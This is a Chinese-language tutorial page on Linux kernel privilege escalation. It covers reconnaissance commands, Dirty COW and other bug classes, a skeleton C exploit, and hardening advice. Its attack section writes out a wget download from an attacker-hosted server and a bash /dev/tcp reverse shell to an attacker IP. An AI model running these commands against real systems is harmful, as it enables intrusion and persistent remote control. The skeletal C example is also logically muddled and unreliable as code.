Linux 内核提权是指攻击者利用操作系统内核中存在的安全漏洞(如缓冲区溢出、竞态条件、逻辑错误等),将当前低权限用户(如 www-data 或普通用户)提升至 root 权限的过程 。其核心原理在于内核运行在最高特权级(Ring 0),一旦内核代码执行流被恶意控制,攻击者即可绕过用户空间的权限检查机制 。

1. 核心流程与信息收集

在进行内核提权前,必须精确获取目标系统的内核版本及架构信息,以匹配对应的漏洞利用代码(EXP)。

步骤操作命令/方法目的与说明
版本识别uname -a或 cat /proc/version获取完整的内核版本号、发行版信息及 CPU 架构 。
分布版确认cat /etc/issue 或 lsb_releasea确定 Linux 发行版具体版本(如 Ubuntu 12.04, CentOS 7),辅助判断补丁情况 。
漏洞搜索searchsploit <kernel_version>利用本地 ExploitDB 数据库搜索对应版本的已知漏洞 EXP 。
在线检索访问 Exploit-DB 或 GitHub针对特定 CVE 编号(如 CVE-2016-5195 脏牛)查找最新的利用脚本 。

2. 常见漏洞类型与利用场景

内核提权主要依赖于未修复的 CVE 漏洞,以下是几种典型的利用场景:

  • 脏牛漏洞 (Dirty Cow, CVE-2016-5195):利用内存子系统中的竞态条件,允许非特权用户修改只读内存映射文件,常用于替换 /etc/passwd 或编译 SUID 程序 。
  • 堆栈溢出 (Stack/Heap Overflow):通过向内核缓冲区写入超出分配长度的数据,覆盖返回地址或函数指针,从而劫持控制流执行恶意 Shellcode 。
  • 内核模块漏洞:加载存在缺陷的内核模块,或利用模块加载机制中的权限校验缺失进行提权 。
  • Netfilter/网络栈漏洞:通过构造特殊的网络数据包触发内核网络协议栈中的逻辑错误实现远程或本地提权 。

3. 实战操作流程与代码示例

假设已获取目标机器低权限 Shell,且通过 uname -a 确认内核版本存在已知漏洞(例如 Ubuntu 12.04 的某个溢出漏洞),标准提权流程如下:

步骤一:上传利用代码

将找到的 C 语言 exploit 源码(如 exploit.c)上传至目标机器临时目录(如 /tmp),因为该目录通常具有写和执行权限 。

# 在攻击机上使用 Python 搭建简易 HTTP 服务器
python3 -m http.server 8080

# 在目标机器上下载 exploit 源码
cd /tmp
wget http://<攻击机 IP>:8080/exploit.c

步骤二:编译与执行

大多数内核漏洞 EXP 为 C 语言编写,需在目标机上使用 gcc 进行编译。若目标机无 gcc,需在攻击机交叉编译后上传二进制文件 。

/* exploit.c伪代码示例 - 演示提权逻辑结构 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

// 模拟获取 root 权限的核心逻辑
void get_root() {
    // 设置真实用户 ID 和有效用户 ID 为 0 (root)
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    
    // 启动一个 root权限的 shell
    execl("/bin/sh", "sh", NULL);
}

int main() {
    printf("[*] 开始尝试内核提权...
");
    // 此处应包含具体的漏洞触发代码,如 mmap, madvise 等系统调用组合
    // trigger_vulnerability();    if (getuid() == 0) {
        printf("[+] 提权成功!当前用户:%s
", getenv("USER"));
 get_root();
 } else {
 printf("[-] 提权失败。
");    }
    return 0;
}
# 在目标机器上编译 exploit
gcc -o exploit exploit.c -pthread

# 执行提权程序
./exploit

# 验证是否获得 root 权限
id
# 预期输出:uid=0(root) gid=0(root) groups=0(root)

步骤三:建立稳定连接

提权成功后,原 Shell 可能不稳定,建议立即反弹一个稳定的 Root Shell回攻击机 。

# 在获得的 root shell 中执行反弹命令 (示例:bash 反弹)
bash -i >& /dev/tcp/<攻击机 IP>/<端口> 0>&1

4. 防护与加固措施

针对内核提权的防御,核心在于减少攻击面并及时修复漏洞:

  • 定期更新内核:及时安装官方发布的安全补丁,修复已知 CVE 漏洞是阻断此类攻击最有效的方法 。
  • 最小化原则:移除不必要的内核模块,限制 /proc 和 /sys 文件系统的访问权限,防止信息泄露 。
  • 安全选项配置:启用内核安全机制,如 ASLR(地址空间布局随机化)、DEP(数据执行保护)以及 SELinux/AppArmor 强制访问控制 。
  • 权限隔离:严格限制普通用户对敏感设备文件(如 /dev/mem)的访问,避免直接操作物理内存 。

参考来源

 

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐